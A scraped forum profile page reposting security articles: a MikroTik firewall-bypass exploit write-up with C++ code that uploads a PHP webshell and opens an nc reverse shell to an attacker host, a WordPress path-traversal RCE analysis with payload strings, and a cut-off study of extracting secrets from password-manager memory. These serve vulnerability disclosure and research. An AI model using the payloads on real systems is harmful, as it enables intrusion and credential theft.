-
Posts
18725 -
Joined
-
Last visited
-
Days Won
707
Everything posted by Nytro
-
MikroTik Firewall & NAT Bypass Exploitation from WAN to LAN Jacob Baines Feb 21 A Design Flaw In Making It Rain with MikroTik, I mentioned an undisclosed vulnerability in RouterOS. The vulnerability, which I assigned CVE-2019–3924, allows a remote, unauthenticated attacker to proxy crafted TCP and UDP requests through the router’s Winbox port. Proxied requests can even bypass the router’s firewall to reach LAN hosts. Mistakes were made The proxying behavior is neat, but, to me, the most interesting aspect is that attackers on the WAN can deliver exploits to (nominally) firewall protected hosts on the LAN. This blog will walk through that attack. If you want to skip right to the, sort of complicated, proof of concept video then here it is: A PoC with a network diagram? Pass. The Setup To demonstrate this vulnerability, I need a victim. I don’t have to look far because I have a NUUO NVRMini2 sitting on my desk due to some previous vulnerability work. This NVR is a classic example of a device that should be hidden behind a firewall and probably segmented away from everything else on your network. Join an IoT Botnet in one easy step! In my test setup, I’ve done just that. The NVRMini2 sits behind a MikroTik hAP router with both NAT and firewall enabled. NVRMini2 should be safe from the attacker at 192.168.1.7 One important thing about this setup is that I opened port 8291 in the router’s firewall to allow Winbox access from the WAN. By default, Winbox is only available on the MikroTik hAP via the LAN. Don’t worry, I’m just simulating real world configurations. The attacker, 192.168.1.7, shouldn’t be able to initiate communication with the victim at 10.0.0.252. The firewall should prevent that. Let’s see how the attacker can get at 10.0.0.252 anyways. Probing to Bypass the Firewall CVE-2019–3924 is the result of the router not enforcing authentication on network discovery probes. Under normal circumstances, The Dude authenticates with the router and uploads the probes over the Winbox port. However, one of the binaries that handles the probes (agent) fails to verify whether the remote user is authenticated. Probes are a fairly simple concept. A probe is a set of variables that tells the router how to talk to a host on a given port. The probe supports up to three requests and responses. Responses are matched against a provided regular expression. The following is the builtin HTTP probe. The HTTP probe sends a HEAD request to port 80 and checks if the response starts with “HTTP/1.” In order to bypass the firewall and talk to the NVRMini2 from 192.168.1.7, the attacker just needs to provide the router with a probe that connects to 10.0.0.252:80. The obvious question is, “How do you determine if a LAN host is an NVRMini2?” The NVRMini2 and the various OEM variations all have very similar landing page titles. Using the title tag, you can construct a probe that detects an NVRMini2. The following is taken from my proof on concept on GitHub. I’ve again used my WinboxMessage implementation. bool find_nvrmini2(Winbox_Session& session, std::string& p_address, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address + "\r\nAccept:*/*\r\n\r\n"); msg.add_string(8, "Network Video Recorder Login</title>"); msg.add_u32(3, p_converted_address); // ip address msg.add_u32(4, p_converted_port); // port session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } You can see I constructed a probe that sends an HTTP GET request and looks for “Network Video Recorder Login</title>” in the response. The router, 192.168.1.70, will take in this probe and send it to the host I’ve defined in msg.add_u32(3) and msg.add_u32(4). In this case, that would be 10.0.0.252 and 80 respectively. This logic bypasses the normal firewall rules. The following screenshot shows the attacker (192.168.1.7) using the probe against 10.0.0.254 (Ubuntu 18.04) and 10.0.0.252 (NVRMini2). You can see that the attacker can’t even ping these devices. However, by using the router’s Winbox interface the attacker is able to reach the LAN hosts. Discovery of the NVRMini2 on the supposedly unreachable LAN is neat, but I want to go a step further. I want to gain full access to this network. Let’s find a way to exploit the NVRMini2. Crafting an Exploit The biggest issue with probes is the size limit. The requests and response regular expressions can’t exceed a combined 220 bytes. That means any exploit will have to be concise. My NVRMini2 stack buffer overflow is anything but concise. It takes 170 bytes just to overflow the cookie buffer. Not leaving room for much else. But CVE-2018–11523 looks promising. The code CVE-2018–11523 exploits. Yup. CVE-2018–11523 is an unauthenticated file upload vulnerability. An attacker can use it to upload a PHP webshell. The proof of concept on exploit-db is 461 characters. Way too big. However, with a little ingenuity it can be reduced to 212 characters. POST /upload.php HTTP/1.1 Host:a Content-Type:multipart/form-data;boundary=a Content-Length:96 --a Content-Disposition:form-data;name=userfile;filename=a.php <?php system($_GET['a']);?> --a This exploit creates a minimalist PHP webshell at a.php. Translating it into a probe request is fairly trivial. bool upload_webshell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } Sending the above probe request through the router to 10.0.0.252:80 should create a basic PHP webshell. Crafting a Reverse Shell At this point you could start blindly executing commands on the NVR using the webshell. But being unable to see responses and constantly having to worry about the probe’s size restriction is annoying. Establishing a reverse shell back to the attacker’s box on 192.168.1.7 is a far more ideal solution. Now, it seems to me that there is little reason for an embedded system to have nc with the -e option. Reason rarely seems to have a role in these types of things though. The NVRMini2 is no exception. Of course, nc -e is available. bool execute_reverse_shell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port, std::string& p_reverse_ip, std::string& p_reverse_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } The probe above executes the command “nc 192.168.1.7 1270 -e /bin/bash” via the webshell at a.php. The nc command will connect back to the attacker’s box with a root shell. Putting It All Together I’ve combined the three sections above into a single exploit. The exploit connects to the router, sends a discovery probe to a LAN target, uploads a webshell, and executes a reverse shell back to a WAN host. albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270 [!] Running in exploitation mode [+] Attempting to connect to a MikroTik router at 192.168.1.70:8291 [+] Connected! [+] Looking for a NUUO NVR at 10.0.0.252:80 [+] Found a NUUO NVR! [+] Uploading a webshell [+] Executing a reverse shell to 192.168.1.7:1270 [+] Done! albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ The listener gets the root shell as expected. Conclusion I found this bug while scrambling to write a blog to respond to a Zerodium tweet. I was not actively doing MikroTik research. Honestly, I’m just trying to get ready for BSidesDublin. What are the people actually doing MikroTik research finding? Are they turning their bugs over to MikroTik (for nothing) or are they selling those bugs to Zerodium? Do I have to spell it out for you? Don’t expose Winbox to the internet. Sursa: https://medium.com/tenable-techblog/mikrotik-firewall-nat-bypass-b8d46398bf24
-
When dealing with modern JavaScript applications, many penetration testers approach from an ‘out-side-in’ perspective, this is approach often misses security issues in plain sight. This talk will attempt to demystify common JavaScript issues which should be better understood/identified during security reviews. We will discuss reviewing applications in code-centric manner by utilizing freely available tools to help start identifying security issues through processes such as linting and dependency auditing.
-
When is a vulnerability actually a vulnerability? I can't answer this question easily, and thus we look at a few examples in this video.
-
- 2
-
-
-
WordPress 5.0.0 Remote Code Execution 19 Feb 2019 by Simon Scannell This blog post details how a combination of a Path Traversal and Local File Inclusion vulnerability lead to Remote Code Execution in the WordPress core. The vulnerability remained uncovered in the WordPress core for over 6 years. Impact An attacker who gains access to an account with at least author privileges on a target WordPress site can execute arbitrary PHP code on the underlying server, leading to a full remote takeover. We sent the WordPress security team details about another vulnerability in the WordPress core that can give attackers exactly such access to any WordPress site, which is currently unfixed. Who is affected? The vulnerability explained in this post was rendered non-exploitable by another security patch in versions 4.9.9 and 5.0.1. However, the Path Traversal is still possible and currently unpatched. Any WordPress site with a plugin installed that incorrectly handles Post Meta entries can make exploitation still possible. We have seen plugins with millions of active installations do this mistake in the past during the preparations for our WordPress security month. According to the download page of WordPress, the software is used by over 33%1 of all websites on the internet. Considering that plugins might reintroduce the issue and taking in factors such as outdated sites, the number of affected installations is still in the millions. Technical Analysis Both the Path Traversal and Local File Inclusion vulnerability was automatically detected by our leading SAST solution RIPS within 3 minutes scan time with a click of a button. However, at first sight the bugs looked not exploitable. It turned out that the exploitation of the vulnerabilities is much more complex but possible. Background - WordPress Image Management When an image is uploaded to a WordPress installation, it is first moved to the uploads directory (wp-content/uploads). WordPress will also create an internal reference to the image in the database, to keep track of meta information such as the owner of the image or the time of the upload. This meta information is stored as Post Meta entries in the database. Each of these entries are a key / value pair, assigned to a certain ID. Example Post Meta reference to an uploaded image ‘evil.jpg’ 12345678 MariaDB [wordpress]> SELECT * FROM wp_postmeta WHERE post_ID = 50; +---------+-------------------------+----------------------------+ | post_id | meta_key | meta_value | +---------+-------------------------+----------------------------+ | 50 | _wp_attached_file | evil.jpg | | 50 | _wp_attachment_metadata | a:5:{s:5:"width";i:450 ... | ... +---------+-------------------------+----------------------------+ In this example, the image has been assigned the post_ID 50. If the user wants to use or edit the image with said ID in the future, WordPress will look up the matching _wp_attached_file meta entry and use it’s value in order to find the file in the wp-content/uploads directory. Core issue - Post Meta entries can be overwritten The issue with these Post Meta entries prior to WordPress 4.9.9 and 5.0.1 is that it was possible to modify any entries and set them to arbitrary values. When an image is updated (e.g. it’s description is changed), the edit_post() function is called. This function directly acts on the $_POST array. Arbitrary Post Meta values can be updated. 1 2 3 4 5 6 7 8 910 function edit_post( $post_data = null ) { if ( empty($postarr) ) $postarr = &$_POST; ⋮ if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_ID, $field, $value ); } } As can be seen, it is possible to inject arbitrary Post Meta entries. Since no check is made on which entries are modified, an attacker can update the _wp_attached_file meta entry and set it to any value. This does not rename the file in any way, it just changes the file WordPress will look for when trying to edit the image. This will lead to a Path Traversal later. Path Traversal via Modified Post Meta The Path Traversal takes place in the wp_crop_image() function which gets called when a user crops an image. The function takes the ID of an image to crop ($attachment_id) and fetches the corresponding _wp_attached_file Post Meta entry from the database. Remember that due to the flaw in edit_post(), $src_file can be set to anything. Simplified wp_crop_image() function. The actual code is located in wp-admin/includes/image.php 1234 function wp_crop_image( $attachment_id, $src_x, ...) { $src_file = $file = get_post_meta( $attachment_id, '_wp_attached_file' ); ⋮ In the next step, WordPress has to make sure the image actually exists and load it. WordPress has two ways of loading the given image. The first is to simply look for the filename provided by the _wp_attached_file Post Meta entry in the wp-content/uploads directory (line 2 of the next code snippet). If that method fails, WordPress will try to download the image from it’s own server as a fallback. To do so it will generate a download URL consisting of the URL of the wp-content/uploads directory and the filename stored in the _wp_attached_file Post Meta entry (line 6). To give a concrete example: If the value stored in the _wp_attached_file Post Meta entry was evil.jpg, then WordPress would first try to check if the file wp-content/uploads/evil.jpg exists. If not, it would try to download the file from the following URL: https://targetserver.com/wp-content/uploads/evil.jpg. The reason for trying to download the image instead of looking for it locally is for the case that some plugin generates the image on the fly when the URL is visited. Take note here that no sanitization whatsoever is performed here. WordPress will simply concatenate the upload directory and the URL with the $src_file user input. Once WordPress has successfully loaded a valid image via wp_get_image_editor(), it will crop the image. 1 2 3 4 5 6 7 8 9101112 ⋮ if ( ! file_exists( "wp-content/uploads/" . $src_file ) ) { // If the file doesn't exist, attempt a URL fopen on the src link. // This can occur with certain file replication plugins. $uploads = wp_get_upload_dir(); $src = $uploads['baseurl'] . "/" . $src_file; } else { $src = "wp-content/uploads/" . $src_file; } $editor = wp_get_image_editor( $src ); ⋮ The cropped image is then saved back to the filesystem (regardless of whether it was downloaded or not). The resulting filename is going to be the $src_file returned by get_post_meta(), which is under control of an attacker. The only modification made to the resulting filename string is that the basename of the file is prepended by cropped- (line 4 of the next code snippet.) To follow the example of the evil.jpg, the resulting filename would be cropped-evil.jpg. WordPress then creates any directories in the resulting path that do not exist yet via wp_mkdir_p() (line 6). It is then finally written to the filesystem using the save() method of the image editor object. The save() method also performs no Path Traversal checks on the given file name. 12345678 ⋮ $src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs ); $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file ); wp_mkdir_p( dirname( $dst_file ) ); $result = $editor->save( $dst_file ); The idea So far, we have discussed that it is possible to determine which file gets loaded into the image editor, since no sanitization checks are performed. However, the image editor will throw an exception if the file is not a valid image. The first assumption might be, that it is only possible to crop images outside the uploads directory then. However, the circumstance that WordPress tries to download the image if it is not found leads to a Remote Code Execution vulnerability. Local File HTTP Download Uploaded file evil.jpg evil.jpg _wp_attached_file evil.jpg?shell.php evil.jpg?shell.php Resulting file that will be loaded wp-content/uploads/evil.jpg?shell.php https://targetserver.com/wp-content/uploads/evil.jpg?shell.php Actual location wp-content/uploads/evil.jpg https://targetserver.com/wp-content/uploads/evil.jpg Resulting filename None - image loading fails evil.jpg?cropped-shell.php The idea is to set _wp_attached_file to evil.jpg?shell.php, which would lead to a HTTP request being made to the following URL: https://targetserver.com/wp-content/uploads/evil.jpg?shell.php. This request would return a valid image file, since everything after the ? is ignored in this context. The resulting filename would be evil.jpg?shell.php. However, although the save() method of the image editor does not check against Path Traversal attacks, it will append the extension of the mime type of the image being loaded to the resulting filename. In this case, the resulting filename would be evil.jpg?cropped-shell.php.jpg. This renders the newly created file harmless again. However, it is still possible to plant the resulting image into any directory by using a payload such as evil.jpg?/../../evil.jpg. Exploiting the Path Traversal - LFI in Theme directory Each WordPress theme is simply a directory located in the wp-content/themes directory of WordPress and provides template files for different cases. For example, if a visitor of a blog wants to view a blog post, WordPress looks for a post.php file in the directory of the currently active theme. If it finds the template it will include() it. In order to add an extra layer of customization, it is possible to select a custom template for certain posts. To do so, a user has to set the _wp_page_template Post Meta entry in the database to such a custom filename. The only limitation here is that the file to be include()‘ed must be located in the directory of the currently active theme. Usually, this directory cannot be accessed and no files can be uploaded. However, by abusing the above described Path Traversal, it is possible to plant a maliciously crafted image into the directory of the currently used theme. The attacker can then create a new post and abuse the same bug that enabled him to update the _wp_attached_file Post Meta entry in order to include() the image. By injecting PHP code into the image, the attacker then gains arbitrary Remote Code Execution. Crafting a malicious image - GD vs Imagick WordPress supports two image editing extensions for PHP: GD and Imagick. The difference between them is that Imagick does not strip exif metadata of the image, in which PHP code can be stored. GD compresses each image it edits and strips all exif metadata. This is a result of how GD processes images. However, exploitation is still possible by crafting an image that contains crafted pixels that will be flipped in a way that results in PHP code execution once GD is done cropping the image. During our efforts to research the internal structures of PHP’s GD extension, an exploitable memory corruption flaw was discovered in libgd. (CVE-2019-69772). Time Line Date What 2018/10/16 Vulnerability reported to the WordPress security team on Hackerone. 2018/10/18 A WordPress Security Team member acknowledges the report and says they will come back once the report is verified. 2018/10/19 Another WordPress Security Team member asks for more information. 2018/10/22 We provide WordPress with more information and provide a complete, 270 line exploit script to help verify the vulnerability, 2018/11/15 WordPress triages the vulnerability and says they were able to replicate it. 2018/12/06 WordPress 5.0 is released, without a patch for the vulnerability. 2018/12/12 WordPress 5.0.1 is released and is a security update. One of the patches makes the vulnerabilities non exploitable by preventing attackers to set arbitrary post meta entries. However, the Path Traversal is still possible and can be exploited if plugins are installed that incorrectly handle Post Meta entries. WordPress 5.0.1 does not address either the Path Traversal or Local File Inclusion vulnerability. 2018/12/19 WordPress 5.0.2 is released. without a patch for the vulnerability. 2019/01/09 WordPress 5.0.3 is released, without a patch for the vulnerability. 2019/01/28 We ask WordPress for an ETA of the next security release so we can coordinate our blog post schedule and release the blog post after the release. 2019/02/14 WordPress proposes a patch. 2019/02/14 We provide feedback on the patch and verify that it prevents exploitation. Summary This blog post detailed a Remote Code Execution in the WordPress core that was present for over 6 years. It became non-exploitable with a patch for another vulnerability reported by RIPS in versions 5.0.1 and 4.9.9. However, the Path Traversal is still possible and can be exploited if a plugin is installed that still allows overwriting of arbitrary Post Data. Since certain authentication to a target WordPress site is needed for exploitation, we decided to make the vulnerability public after 4 months of initially reporting the vulnerabilities. We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue. Sursa: https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
-
- 1
-
-
Password Managers: Under the Hood of Secrets Management
Nytro posted a topic in Tutoriale in engleza
Password Managers: Under the Hood of Secrets Management February 19, 2019 Also see associated blog Abstract: Password managers allow the storage and retrieval of sensitive information from an encrypted database. Users rely on them to provide better security guarantees against trivial exfiltration than alternative ways of storing passwords, such as an unsecured flat text file. In this paper we propose security guarantees password managers should offer and examine the underlying workings of five popular password managers targeting the Windows 10 platform: 1Password 7 [1], 1Password 4 [1], Dashlane [2], KeePass [3], and LastPass [4]. We anticipated that password managers would employ basic security best practices, such as scrubbing secrets from memory when they are not in use and sanitization of memory once a password manager was logged out and placed into a locked state. However, we found that in all password managers we examined, trivial secrets extraction was possible from a locked password manager, including the master password in some cases, exposing up to 60 million users that use the password managers in this study to secrets retrieval from an assumed secure locked state. Introduction: First and foremost, password managers are a good thing. All password managers we have examined add value to the security posture of secrets management, and as Troy Hunt, an active security researcher once wrote, “Password managers don’t have to be perfect, they just have to be better than not having one” [5]. Aside from being an administrative tool to allow users to categorize and better manage their credentials, password managers guide users to avoid bad password practices such as using weak passwords, common passwords, generic passwords, and password reuse. The tradeoff is that users’ credentials are then centrally stored and managed, typically protected by a single master password to unlock a password manager data store. With the rising popularity of password manager use it is safe to assume that adversarial activity will target the growing user base of these password managers. Table 1, below, outlines the number of individual users and business entities for each of the password managers we examine in this paper. Password Manager Users Business Entities 1Password 15,000,000 [6] 30,000 [6] Dashlane 10,000,000 [7] 10,000 [7] KeePass 20,000,000 [8] Unknown LastPass 16,500,000 [9] 43,000 [9] Table 1. Number of private users and business entities of 1Password (all versions), Dashlane, KeePass and LastPass. Motivation: With the proliferation of online services, password use has gone from about 25 passwords per user in 2007 [10] to 130 in 2015 and is projected to grow to 207 in 2020 [11]. This, combined with a userbase of 60 million across password managers we examine in this paper, creates a target rich environment in which adversaries can carefully craft methods to extract an increasingly growing and valuable trove of secrets and credentials. An example in which a password manager appears to have been specifically targeted is an attack that led to the loss of 2578 units of Ethereum (ETH), a cryptocurrency valued at the time of 1.5 million USD. The attack was carried out against a cryptocurrency trading assistant platform, Taylor [12]. Taylor issued a statement that indicated a device which was using 1Password for secrets management was compromised [13]. It remains unclear, whether the attacker found a security issue in 1Password itself or simply discovered the master password in some other way, or whether the compromise had nothing to do with password managers. Given the combination of an increasing number of credentials held in password managers, the value of those secrets and the emerging threats specifically targeting password managers it is important for us to examine the increased risk a user or organization faces in terms of secrets exposure when using a password manager. Our approach for this was to survey popular password managers to determine common defenses they employ against secrets exfiltration. We incorporate the best security features of each into a hypothetical, best possible password manager, that provides a minimum set of guarantees outlined in the next section. Then we compare the password managers studied against those security guarantees. Password Manager Security Guarantees: All password managers studied work in the same basic way. Users enter or generate passwords in the software and add any pertinent metadata (e.g., answers to security questions, and the site the password goes to). This information is encrypted and then decrypted only when it is needed for display, for passing to a browser add-on that fills the password into a website, or for copying to the clipboard for use. Throughout this paper we will refer to password managers in three states of existence: not running, unlocked (and running), and locked (and running; this state assumes the password manager was previously unlocked). We assume that the user does not have additional layers of encryption such as full disk encryption or per process virtualization. We define the three states below: Not Running We define “not running” as a state where the password manager has previously been installed, configured, and interacted with by the user to store secrets, but has not been launched since the last reboot or has been terminated by the user since it was last used. In this “not running” state the password manager should guarantee: There should be no data stored on disk that would offer an attacker leverage toward compromising the database stored on disk (e.g. the master password or encryption key stored in a configuration file). Even if an attacker retrieves the password database from disk, it should be encrypted in such a way that an attacker cannot decrypt it without knowing the master password. The encryption should be designed in such a way that, so long as the user did not use a trivial password, the attacker cannot brute force guess the master password in a reasonable amount of time using commonly available computing resources. Running: Unlocked State We define running in an “unlocked state” as cases where the password manager is running, and where the user has typed in the master password in order to decrypt and access the stored passwords inside the manager. The user may have displayed, copied to clipboard, or otherwise accessed some of the passwords in the password manager. In this “running, unlocked state” the password manager should guarantee: It should not be possible to extract the master password from memory, either directly or in any form that allows the original master password to be recovered. For those stored passwords that have not been displayed/copied/accessed by the user since the password manager was unlocked, it should not be possible to extract those unencrypted passwords from memory. Knowing usability constraints that affect password managers, we concede that: It may be possible to extract those passwords from memory that were displayed/copied/accessed in the current unlocked session. It may be possible to extract cryptographic information derived from the master password sufficient to decrypt other stored passwords, but not the master password itself. Running: Locked State We define “in locked state” as cases where (1) the password manager was just launched but the user has not entered the master password yet, or (2) the user previously entered the master password and used the password manager, but subsequently clicked the ‘Lock’ or ‘Log Out’ button. In this “running, locked state” the password manager should guarantee: All the security guarantees of a not-running password manager should apply to a password manager that is in the locked state. Since a locked password manager still exists as a process in virtual memory, this requires additional guarantees: It should not be possible to extract the master password from memory, either directly or in any form that allows the original master password to be recovered. It should not be possible to extract from memory any cryptographic information derived from the master password that might allow passwords to be decrypted without knowing the master password. It should not be possible to extract any unencrypted passwords from memory that are stored in the password manager. In addition to these explicit security guarantees, we expect password managers to incorporate additional hardening measures where possible, and to have these hardening measures enabled by default. For example, password managers should attempt to block software keystroke loggers from accessing the master password as it is typed, attempt to limit the exposure of unencrypted passwords left on the clipboard, and take reasonable steps to detect and block modification or patching of the password manager and its supporting libraries that might expose passwords. Scope: In this paper we will examine the inner workings as they relate to secrets retrieval and storage of 1Password, Dashlane, KeePass and LastPass on the Windows 10 platform (Version 1803 Build 17134.345) using an Intel i7-7700HQ processor. We examine susceptibility of a password manager to secrets exfiltration via examination of the password database on disk; memory forensics; and finally, keylogging, clipboard monitoring, and binary modification. Each password manager is examined in its default configuration after install with no advanced configuration steps performed. The focus on our evaluation of password managers is limited to the Windows platform. Our findings can be extrapolated to password manager implementations in other operating systems to guide research to areas of interest that are discussed in this paper. Target Password Managers: The following password managers with their corresponding versions were evaluated: Product Version 1Password4 for Windows 4.6.2.626 1Password7 for Windows 7.2.576 Dashlane for Windows 6.1843.0 KeePass Password Safe 2.40 LastPass for Applications 4.1.59 Security of Password Managers in the Non-Running State We first consider the security of password managers when they are not running. We focus on the attack vector of compromising passwords from disk. Unless password managers have severe vulnerabilities such as logging passwords to unencrypted log files or other egregious issues, the password managers’ defenses against the disk attack surface rest on the cryptography used to protect the password database. Here, we examine which algorithm each password manager uses to transform the master password into an encryption key, and whether the algorithm and number of iterations is severely lacking in its ability to resist contemporary cracking attacks. Table 2, below, outlines the key expansion algorithm type used and number of iterations in each password manager’s default configuration. With regard to key expansion recommendations set by NIST [14]we found that each key expansion algorithm used in the password managers was acceptable and that the number of iterations adequate. We concluded that the password managers were secure against compromising passwords from disk as the software is not running, and that brute forcing the encrypted password entries on disk would be computationally prohibitive, although not impossible if given enough computing resources. Given this, we moved on to the attack surface of passwords stored in memory while the password managers are running. Password Manager Key Expansion Algorithm Iterations 1Password4 PBKDF2-SHA256 40,000 [15] 1Password7 PBKDF2-SHA256 100,000 [16] Dashlane Argon2 3 [17] KeePass AES-KDF 60,000 [18] LastPass PBKDF2-SHA256 100,100 [19] Table 2. Each password managers default key expansion algorithm and number of iterations. Security of Password Managers in Running States We expected and found that all password managers reviewed sufficiently protect the master password and individual passwords while they are notrunning. The remaining bulk of our assessment of password managers in the running state was focused on the effectiveness of the locked state and whether the unlocked state left the minimum possible amount of sensitive information in memory. The following sections outline violations of our proposed security guarantees of password managers in a running locked and unlocked state. 1Password4 (Version: 4.6.2.626) We assessed the security of 1Password4 while running and found reasonable protections against exposure of individual passwords in the unlocked state; unfortunately, this was overshadowed by its handling of the master password and several broken implementation details when transitioning from the unlocked to the locked state. On the positive side, we found that as a user accesses different entries in 1Password4, the software is careful to clear the previous unencrypted password from memory before loading another. This means that only one unencrypted password can be in memory at once. On the negative side, the master password remains in memory when unlocked (albeit in obfuscated form) and the software fails to scrub the obfuscated password memory region sufficiently when transitioning from the unlocked to the locked state. We also found a bug where, under certain user actions, the master password can be left in memory in cleartext even while locked. Failure to Scrub Obfuscated Master Password from Memory It is possible to recover and deobfuscate the master password from 1Password4 since it is not scrubbed from memory after placing the password manager in a locked state. Given a scenario where a user has unlocked 1Password4 and then placed it back into a locked state, 1Password4 will prompt for the master password again as shown in Figure 1below. However, 1Password4 retains the master password in memory, although in an encoded/obfuscated format as shown in Figure 2. Figure 1. 1Password4 in a locked state awaiting master password input. Figure 2. Encoded master password present in memory while 1Password4 is in a locked state. We can use this information to intercept normal workflows in which 1Password4 calls RtlRunEncodeUnicodeString and RtlRunDecodeUnicodeString to obfuscate the master password to instead reveal the already present, but encoded master password into cleartext (Figure 3). Figure 3. Master password revealed after the expected RtlRunEncodeUnicodeString and RtlRunDecodeUnicodeString was reversed, thereby forcing 1Password4 to decode the encoded master password that was not scrubbed from memory. Copying the Current Password Entry from Memory Only entries that are actively being interacted with exist in memory as plaintext. Figure 4is an example of an entry in memory as its being interacted with. Once 1Password4 is locked, the memory region is deallocated . Note that the deallocated region is not first scrubbed, however the Windows memory manager will zero out any freed pages of memory before making them available for re-allocation by the Windows memory manager. Figure 4. Password entry in memory during active interaction. 1Password7 (Version: 7.2.576) After assessing the legacy 1Password4, we moved on to 1Password7, the current release. Surprisingly, we found that it is less secure in the running state compared to 1Password4. 1Password7 decrypted all individual passwords in our test database as soon as it is unlocked and caches them in memory, unlike 1Password4 which kept only one entry at a time in memory. Compounding this, we found that 1Password7 scrubs neither the individual passwords, the master password, nor the secret key (an extra field introduced in 1Password6 that combines with the master password to derive the encryption key) from memory when transitioning from unlocked to locked. This renders the “lock” button ineffective; from the security standpoint, after unlocking and using 1Password7, the user must exit the software entirely in order to clear sensitive information from memory as locking should. It appears 1Password may have rewritten their software to produce 1Password7 without implementing secure memory management and secrets scrubbing workflows present in 1Password4 and abandoning the distinction between a ‘running unlocked’ and ‘running locked’ state in terms of secrets exposure. Interestingly, this is not the case. Prior marketing material for 1Password claimed [20]to feature Intel SGX technology. This technology protects secrets inside secure memory enclaves so that other processes and even higher privileged components (such as the kernel) cannot access them. Were SGX to be implemented correctly, 1Password7 would have been the most secure password manager in our research by far. Unfortunately, SGX was only supported as a beta feature in 1Password6 and early versions of 1Password7, and was dropped for later versions. This was only evident from gathering the details about it on a 1Password support forum [21]. Exposure of Cleartext Master Password, Secret Key and Entries in Memory As stated before, all secrets are exposed by 1Password7 when in an unlocked and locked state. To demonstrate the severity of this issue we created proof of concept code to read 1Password7’s memory address space to extract these items. The proof of concept applications ran in the existing user context (which was an ordinary non-administrative user). Show below is 1Password7 in a locked state, Figure 5(having previously been unlocked but then again locked) awaiting password entry to unlock it. Figure 5. 1Password7 in a locked state, having previously been open and then locked. Figure 6 illustrates the automated retrieval of the master password. Figure 6. Extracting the master password from a locked 1Password7 instance Figure 7 shows the extraction of the secret key that is needed along with the master password to unlock an encrypted database, and Figure 8shows the automated extraction of secret entries. Figure 7. Extracting the secret key from 1Password7 in a locked state. Figure 8. Extracting password entries from a locked instance of 1Password7. The memory “hygiene” of 1Password7 is so lacking, that it is possible for it to leak passwords from memory without an intentional attack at all. During our evaluation of 1Password7, we encountered a system stop error (kernel mode exception) on our Windows 10 workstation, from an unrelated hardware issue, that created a full memory debug dump to disk. While examining this memory dump file, we came across our secrets that 1Password7 held cleartext, in memory, in a locked state when the stop error occurred (Figure 9). Figure 9. Windows 10 crash dump file contained secrets 1Password7 held in memory in a locked state. For all password managers that leave secrets in memory, this creates a threat model where secrets may be extracted in a non-running state as a by-product of system activity and/or crash/debug log files. Moreover, some companies have a policy to image workstations that have had malware encounters as part of the incident response procedure. A user that happened to be running 1Password7 while this procedure was initiated should assume that all secrets have been compromis Dashlane (Version: 6.1843.0) In our Dashlane evaluation, we noted workflows that indicate focus was placed on concealing secrets in memory to reduce their likelihood of extraction. Also, unique to Dashlane, was the usage of memory/string and GUI management frameworks that prevented secrets from being passed around to various OS API’s that could expose them to eavesdropping by trivial malware. Similar to 1Password4, Dashlane exposes only the active entry a user is interacting with. So, at most, the last active entry is exposed in memory while Dashlane is in an unlocked and locked state. However, once a user updates any information in an entry, Dashlane exposes the entire database plaintext in memory and it remains there even after Dashlane is logged out of or ‘locked’. Exposure of Cleartext Entries in Memory Password entries in Dashlane are stored in an XML object. Upon interacting with any entry this XML object becomes exposed in cleartext and can be easily extracted in both locked and unlocked states. Figure 10, below, is an example of a portion of this XML data structure. Figure 10. Excerpt of a fully decrypted Dashlane XML password database in an unlocked and locked state. Knowing that this data structure exists in a locked state, we then created a proof of concept application to extract it from a locked instance of Dashlane. Figure 11, below, is a locked instance of Dashlane prompting for the master password to unlock it. Figure 11. Locked instance of Dashlane. In this locked state, we then run our proof of concept to extract all stored secrets (Figure 12). Figure 12. Extracting secrets from a locked instance of Dashlane. However, even though we are able to extract secrets from a locked state of Dashlane, the memory region they reside in has been dereferenced and freed. So, over time portions of the XML data structure may be overwritten. Throughout our examination, we noticed that secrets may reside for a few minutes. In some instances, we have observed them still resident in memory more than 24 hours. Dashlane is also unique compared to the other password managers in our examination in that it does not allow you to exit the process via GUI components, such as clicking the close program [x] in the upper right or pressing the ALT-F4 key combination. Doing so causes Dashlane to minimize into the task tray, leaving it susceptible to secrets extraction for extended periods of time. KeePass (Version: 2.40) 